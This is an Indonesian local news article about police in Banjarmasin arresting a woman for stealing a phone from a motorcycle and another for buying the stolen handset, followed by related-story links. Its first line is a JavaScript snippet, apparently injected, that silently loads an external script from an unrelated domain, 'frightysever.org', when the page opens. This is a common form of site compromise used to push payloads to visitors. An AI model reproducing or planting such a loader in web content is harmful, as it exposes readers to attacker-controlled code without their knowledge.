(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANKALIMANTAN.COM, BANJARMASIN – Unit Reskrim Polsek Banjarmasin Timur berhasil menangkap dua perempuan terlibat dalam kasus pencurian handphone di Simpang Limau, Kota Banjarmasin.
Pelaku adalah MA (34) warga Pekapuran Raya, Gang Alima. Dan ZB (29) warga Berangas Timur yang merupakan penadah handphone hasil curian dari MA.
Korban adalah Henedy (39), setelah memarkir sepeda motornya ketika membeli sayur mendapati handphone miliknya hilang setelah ditinggalkan dalam box depan sebelah kiri motor.
Baca juga: Vonis 4 Tahun Dua Terdakwa Korupsi Kredit Fiktif Bank di Banjarbaru
Kapolsek Banjarmasin Timur, AKP Eru Alsepa melalui Kasi Humas Polresta Banjarmasin Ipda Airin Indria Anoya menjelaskan, peristiwa pencurian yang terjadi pada Minggu (10/12/2023) siang, di sebuah warung sayur yang sempat viral di media sosial sebab aksinya terekam CCTV.
Sehari setelah kejadian pada Senin (11/12/2023), Henedy langsung membuat laporan atas peristiwa pencurian tersebut.Setelah mendapat laporan, Unit Reskrim Polsek Banjarmasin Timur dikatakan segera melakukan penyelidikan yang mengarah pada penangkapan dua tersangka.
Baca juga: Puncak Hujan Desember, Balangan Status Siaga Darurat Bencana
Pelaku MA (34) lebih dulu diamankan di Jalan Tatah Belayung Baru R 04, Kecamatan Kertak Anyar, Kabupaten Banjar pada Selasa (12/12/2023).
Masih kata Kasi Humas, dari pengakuan pelaku MA, perempuan 34 tahun itu mencuri sebuah handphone Redmi Note 11 Pro dari sepeda motor milik Henedy. Kemudian MA menjual kepada seseorang di perbatasan Kota Banjarmasin dan Kabupaten Batola dekat jembatan Alalak.
Hasil dari pengakuan MA, petugas kemudian mengamankan ZB yang merupakan pembeli alias penadah handphone dari MA. Penadahan barang hasil curian dari pelaku MA diakui telah dilakukan berkali-kali.
“ZB juga melakukan transaksi serupa sebelumnya dengan barang hasil pencurian MA, dan handphone yang dibelinya saat ini masih dalam proses pencarian,” ungkap Kasi Humas Polresta Banjarmasin.
Baca juga: Security Kafe di Banjarmasin Bonyok Dikeroyok Tiga Orang
Barang bukti yang diamankan petugas antara lain, rekaman dan tangkapan layar dari kamera pengawas (CCTV), satu buah helm milik pelaku, satu pasang baju dan celana, satu masker yang digunakan saat aksi pencurian, beberapa kartu SIM, serta sisa uang penjualan senilai Rp29.000.
Kedua tersangka beserta barang bukti telah diamankan ke Polsek Banjarmasin Timur untuk proses penyelidikan lebih lanjut. MA terancam dijerat pasal 362 KUHP, sedangkan ZB terancam jeratan pasal 480 KUHP.
“Dimbau kepada warga Banjarmasin lebih berhati-hati menyimpan barang berharga, demi menghindari kejadian serupa di masa yang akan datang,” tutup Kasi Humas Polresta Banjarmasin. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.